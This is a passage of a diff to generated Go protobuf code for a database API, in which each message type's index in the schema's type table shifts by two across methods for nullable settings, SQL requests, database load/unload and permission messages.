protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5239,7 +5381,7 @@ func (x *NullableUint32) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableUint32.ProtoReflect.Descriptor instead. func (*NullableUint32) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{72} + return file_schema_proto_rawDescGZIP(), []int{74} } func (x *NullableUint32) GetValue() uint32 { @@ -5260,7 +5402,7 @@ type NullableUint64 struct { func (x *NullableUint64) Reset() { *x = NullableUint64{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[73] + mi := &file_schema_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5273,7 +5415,7 @@ func (x *NullableUint64) String() string { func (*NullableUint64) ProtoMessage() {} func (x *NullableUint64) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[73] + mi := &file_schema_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5286,7 +5428,7 @@ func (x *NullableUint64) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableUint64.ProtoReflect.Descriptor instead. func (*NullableUint64) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{73} + return file_schema_proto_rawDescGZIP(), []int{75} } func (x *NullableUint64) GetValue() uint64 { @@ -5307,7 +5449,7 @@ type NullableFloat struct { func (x *NullableFloat) Reset() { *x = NullableFloat{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[74] + mi := &file_schema_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5320,7 +5462,7 @@ func (x *NullableFloat) String() string { func (*NullableFloat) ProtoMessage() {} func (x *NullableFloat) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[74] + mi := &file_schema_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5333,7 +5475,7 @@ func (x *NullableFloat) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableFloat.ProtoReflect.Descriptor instead. func (*NullableFloat) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{74} + return file_schema_proto_rawDescGZIP(), []int{76} } func (x *NullableFloat) GetValue() float32 { @@ -5354,7 +5496,7 @@ type NullableBool struct { func (x *NullableBool) Reset() { *x = NullableBool{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[75] + mi := &file_schema_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5367,7 +5509,7 @@ func (x *NullableBool) String() string { func (*NullableBool) ProtoMessage() {} func (x *NullableBool) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[75] + mi := &file_schema_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5380,7 +5522,7 @@ func (x *NullableBool) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableBool.ProtoReflect.Descriptor instead. func (*NullableBool) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{75} + return file_schema_proto_rawDescGZIP(), []int{77} } func (x *NullableBool) GetValue() bool { @@ -5401,7 +5543,7 @@ type NullableString struct { func (x *NullableString) Reset() { *x = NullableString{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[76] + mi := &file_schema_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5414,7 +5556,7 @@ func (x *NullableString) String() string { func (*NullableString) ProtoMessage() {} func (x *NullableString) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[76] + mi := &file_schema_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5427,7 +5569,7 @@ func (x *NullableString) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableString.ProtoReflect.Descriptor instead. func (*NullableString) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{76} + return file_schema_proto_rawDescGZIP(), []int{78} } func (x *NullableString) GetValue() string { @@ -5448,7 +5590,7 @@ type NullableMilliseconds struct { func (x *NullableMilliseconds) Reset() { *x = NullableMilliseconds{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[77] + mi := &file_schema_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5461,7 +5603,7 @@ func (x *NullableMilliseconds) String() string { func (*NullableMilliseconds) ProtoMessage() {} func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[77] + mi := &file_schema_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5474,7 +5616,7 @@ func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableMilliseconds.ProtoReflect.Descriptor instead. func (*NullableMilliseconds) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{77} + return file_schema_proto_rawDescGZIP(), []int{79} } func (x *NullableMilliseconds) GetValue() int64 { @@ -5540,7 +5682,7 @@ type DatabaseNullableSettings struct { func (x *DatabaseNullableSettings) Reset() { *x = DatabaseNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[78] + mi := &file_schema_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5553,7 +5695,7 @@ func (x *DatabaseNullableSettings) String() string { func (*DatabaseNullableSettings) ProtoMessage() {} func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[78] + mi := &file_schema_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5566,7 +5708,7 @@ func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseNullableSettings.ProtoReflect.Descriptor instead. func (*DatabaseNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{78} + return file_schema_proto_rawDescGZIP(), []int{80} } func (x *DatabaseNullableSettings) GetReplicationSettings() *ReplicationNullableSettings { @@ -5766,7 +5908,7 @@ type ReplicationNullableSettings struct { func (x *ReplicationNullableSettings) Reset() { *x = ReplicationNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[79] + mi := &file_schema_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5779,7 +5921,7 @@ func (x *ReplicationNullableSettings) String() string { func (*ReplicationNullableSettings) ProtoMessage() {} func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[79] + mi := &file_schema_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5792,7 +5934,7 @@ func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplicationNullableSettings.ProtoReflect.Descriptor instead. func (*ReplicationNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{79} + return file_schema_proto_rawDescGZIP(), []int{81} } func (x *ReplicationNullableSettings) GetReplica() *NullableBool { @@ -5900,7 +6042,7 @@ type TruncationNullableSettings struct { func (x *TruncationNullableSettings) Reset() { *x = TruncationNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5913,7 +6055,7 @@ func (x *TruncationNullableSettings) String() string { func (*TruncationNullableSettings) ProtoMessage() {} func (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5926,7 +6068,7 @@ func (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncationNullableSettings.ProtoReflect.Descriptor instead. func (*TruncationNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{80} + return file_schema_proto_rawDescGZIP(), []int{82} } func (x *TruncationNullableSettings) GetRetentionPeriod() *NullableMilliseconds { @@ -5983,7 +6125,7 @@ type IndexNullableSettings struct { func (x *IndexNullableSettings) Reset() { *x = IndexNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5996,7 +6138,7 @@ func (x *IndexNullableSettings) String() string { func (*IndexNullableSettings) ProtoMessage() {} func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6009,7 +6151,7 @@ func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexNullableSettings.ProtoReflect.Descriptor instead. func (*IndexNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{81} + return file_schema_proto_rawDescGZIP(), []int{83} } func (x *IndexNullableSettings) GetFlushThreshold() *NullableUint32 { @@ -6131,7 +6273,7 @@ type AHTNullableSettings struct { func (x *AHTNullableSettings) Reset() { *x = AHTNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6144,7 +6286,7 @@ func (x *AHTNullableSettings) String() string { func (*AHTNullableSettings) ProtoMessage() {} func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6157,7 +6299,7 @@ func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use AHTNullableSettings.ProtoReflect.Descriptor instead. func (*AHTNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{82} + return file_schema_proto_rawDescGZIP(), []int{84} } func (x *AHTNullableSettings) GetSyncThreshold() *NullableUint32 { @@ -6185,7 +6327,7 @@ type LoadDatabaseRequest struct { func (x *LoadDatabaseRequest) Reset() { *x = LoadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6198,7 +6340,7 @@ func (x *LoadDatabaseRequest) String() string { func (*LoadDatabaseRequest) ProtoMessage() {} func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6211,7 +6353,7 @@ func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseRequest.ProtoReflect.Descriptor instead. func (*LoadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{83} + return file_schema_proto_rawDescGZIP(), []int{85} } func (x *LoadDatabaseRequest) GetDatabase() string { @@ -6233,7 +6375,7 @@ type LoadDatabaseResponse struct { func (x *LoadDatabaseResponse) Reset() { *x = LoadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6246,7 +6388,7 @@ func (x *LoadDatabaseResponse) String() string { func (*LoadDatabaseResponse) ProtoMessage() {} func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6259,7 +6401,7 @@ func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseResponse.ProtoReflect.Descriptor instead. func (*LoadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{84} + return file_schema_proto_rawDescGZIP(), []int{86} } func (x *LoadDatabaseResponse) GetDatabase() string { @@ -6281,7 +6423,7 @@ type UnloadDatabaseRequest struct { func (x *UnloadDatabaseRequest) Reset() { *x = UnloadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6294,7 +6436,7 @@ func (x *UnloadDatabaseRequest) String() string { func (*UnloadDatabaseRequest) ProtoMessage() {} func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6307,7 +6449,7 @@ func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseRequest.ProtoReflect.Descriptor instead. func (*UnloadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{85} + return file_schema_proto_rawDescGZIP(), []int{87} } func (x *UnloadDatabaseRequest) GetDatabase() string { @@ -6329,7 +6471,7 @@ type UnloadDatabaseResponse struct { func (x *UnloadDatabaseResponse) Reset() { *x = UnloadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6342,7 +6484,7 @@ func (x *UnloadDatabaseResponse) String() string { func (*UnloadDatabaseResponse) ProtoMessage() {} func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6355,7 +6497,7 @@ func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseResponse.ProtoReflect.Descriptor instead. func (*UnloadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{86} + return file_schema_proto_rawDescGZIP(), []int{88} } func (x *UnloadDatabaseResponse) GetDatabase() string { @@ -6377,7 +6519,7 @@ type DeleteDatabaseRequest struct { func (x *DeleteDatabaseRequest) Reset() { *x = DeleteDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6390,7 +6532,7 @@ func (x *DeleteDatabaseRequest) String() string { func (*DeleteDatabaseRequest) ProtoMessage() {} func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6403,7 +6545,7 @@ func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseRequest.ProtoReflect.Descriptor instead. func (*DeleteDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{87} + return file_schema_proto_rawDescGZIP(), []int{89} } func (x *DeleteDatabaseRequest) GetDatabase() string { @@ -6425,7 +6567,7 @@ type DeleteDatabaseResponse struct { func (x *DeleteDatabaseResponse) Reset() { *x = DeleteDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6438,7 +6580,7 @@ func (x *DeleteDatabaseResponse) String() string { func (*DeleteDatabaseResponse) ProtoMessage() {} func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6451,7 +6593,7 @@ func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseResponse.ProtoReflect.Descriptor instead. func (*DeleteDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{88} + return file_schema_proto_rawDescGZIP(), []int{90} } func (x *DeleteDatabaseResponse) GetDatabase() string { @@ -6475,7 +6617,7 @@ type FlushIndexRequest struct { func (x *FlushIndexRequest) Reset() { *x = FlushIndexRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6488,7 +6630,7 @@ func (x *FlushIndexRequest) String() string { func (*FlushIndexRequest) ProtoMessage() {} func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6501,7 +6643,7 @@ func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexRequest.ProtoReflect.Descriptor instead. func (*FlushIndexRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{89} + return file_schema_proto_rawDescGZIP(), []int{91} } func (x *FlushIndexRequest) GetCleanupPercentage() float32 { @@ -6530,7 +6672,7 @@ type FlushIndexResponse struct { func (x *FlushIndexResponse) Reset() { *x = FlushIndexResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6543,7 +6685,7 @@ func (x *FlushIndexResponse) String() string { func (*FlushIndexResponse) ProtoMessage() {} func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6556,7 +6698,7 @@ func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexResponse.ProtoReflect.Descriptor instead. func (*FlushIndexResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{90} + return file_schema_proto_rawDescGZIP(), []int{92} } func (x *FlushIndexResponse) GetDatabase() string { @@ -6578,7 +6720,7 @@ type Table struct { func (x *Table) Reset() { *x = Table{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6591,7 +6733,7 @@ func (x *Table) String() string { func (*Table) ProtoMessage() {} func (x *Table) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6604,7 +6746,7 @@ func (x *Table) ProtoReflect() protoreflect.Message { // Deprecated: Use Table.ProtoReflect.Descriptor instead. func (*Table) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{91} + return file_schema_proto_rawDescGZIP(), []int{93} } func (x *Table) GetTableName() string { @@ -6632,7 +6774,7 @@ type SQLGetRequest struct { func (x *SQLGetRequest) Reset() { *x = SQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6645,7 +6787,7 @@ func (x *SQLGetRequest) String() string { func (*SQLGetRequest) ProtoMessage() {} func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6658,7 +6800,7 @@ func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLGetRequest.ProtoReflect.Descriptor instead. func (*SQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{92} + return file_schema_proto_rawDescGZIP(), []int{94} } func (x *SQLGetRequest) GetTable() string { @@ -6703,7 +6845,7 @@ type VerifiableSQLGetRequest struct { func (x *VerifiableSQLGetRequest) Reset() { *x = VerifiableSQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6716,7 +6858,7 @@ func (x *VerifiableSQLGetRequest) String() string { func (*VerifiableSQLGetRequest) ProtoMessage() {} func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6729,7 +6871,7 @@ func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{93} + return file_schema_proto_rawDescGZIP(), []int{95} } func (x *VerifiableSQLGetRequest) GetSqlGetRequest() *SQLGetRequest { @@ -6764,7 +6906,7 @@ type SQLEntry struct { func (x *SQLEntry) Reset() { *x = SQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6777,7 +6919,7 @@ func (x *SQLEntry) String() string { func (*SQLEntry) ProtoMessage() {} func (x *SQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6790,7 +6932,7 @@ func (x *SQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLEntry.ProtoReflect.Descriptor instead. func (*SQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{94} + return file_schema_proto_rawDescGZIP(), []int{96} } func (x *SQLEntry) GetTx() uint64 { @@ -6851,7 +6993,7 @@ type VerifiableSQLEntry struct { func (x *VerifiableSQLEntry) Reset() { *x = VerifiableSQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6864,7 +7006,7 @@ func (x *VerifiableSQLEntry) String() string { func (*VerifiableSQLEntry) ProtoMessage() {} func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6877,7 +7019,7 @@ func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLEntry.ProtoReflect.Descriptor instead. func (*VerifiableSQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{95} + return file_schema_proto_rawDescGZIP(), []int{97} } func (x *VerifiableSQLEntry) GetSqlEntry() *SQLEntry { @@ -6962,7 +7104,7 @@ type UseDatabaseReply struct { func (x *UseDatabaseReply) Reset() { *x = UseDatabaseReply{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6975,7 +7117,7 @@ func (x *UseDatabaseReply) String() string { func (*UseDatabaseReply) ProtoMessage() {} func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6988,7 +7130,7 @@ func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { // Deprecated: Use UseDatabaseReply.ProtoReflect.Descriptor instead. func (*UseDatabaseReply) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{96} + return file_schema_proto_rawDescGZIP(), []int{98} } func (x *UseDatabaseReply) GetToken() string { @@ -7016,7 +7158,7 @@ type ChangePermissionRequest struct { func (x *ChangePermissionRequest) Reset() { *x = ChangePermissionRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7029,7 +7171,7 @@ func (x *ChangePermissionRequest) String() string { func (*ChangePermissionRequest) ProtoMessage() {} func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7042,7 +7184,7 @@ func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangePermissionRequest.ProtoReflect.Descriptor instead. func (*ChangePermissionRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{97} + return file_schema_proto_rawDescGZIP(), []int{99} } func (x *ChangePermissionRequest) GetAction() PermissionAction { @@ -7087,7 +7229,7 @@ type SetActiveUserRequest struct { func (x *SetActiveUserRequest) Reset() { *x = SetActiveUserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7100,7 +7242,7 @@ func (x *SetActiveUserRequest) String() string { func (*SetActiveUserRequest) ProtoMessage() {} func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7113,7 +7255,7 @@ func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead. func (*SetActiveUserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{98} + return file_schema_proto_rawDescGZIP(), []int{100} } func (x 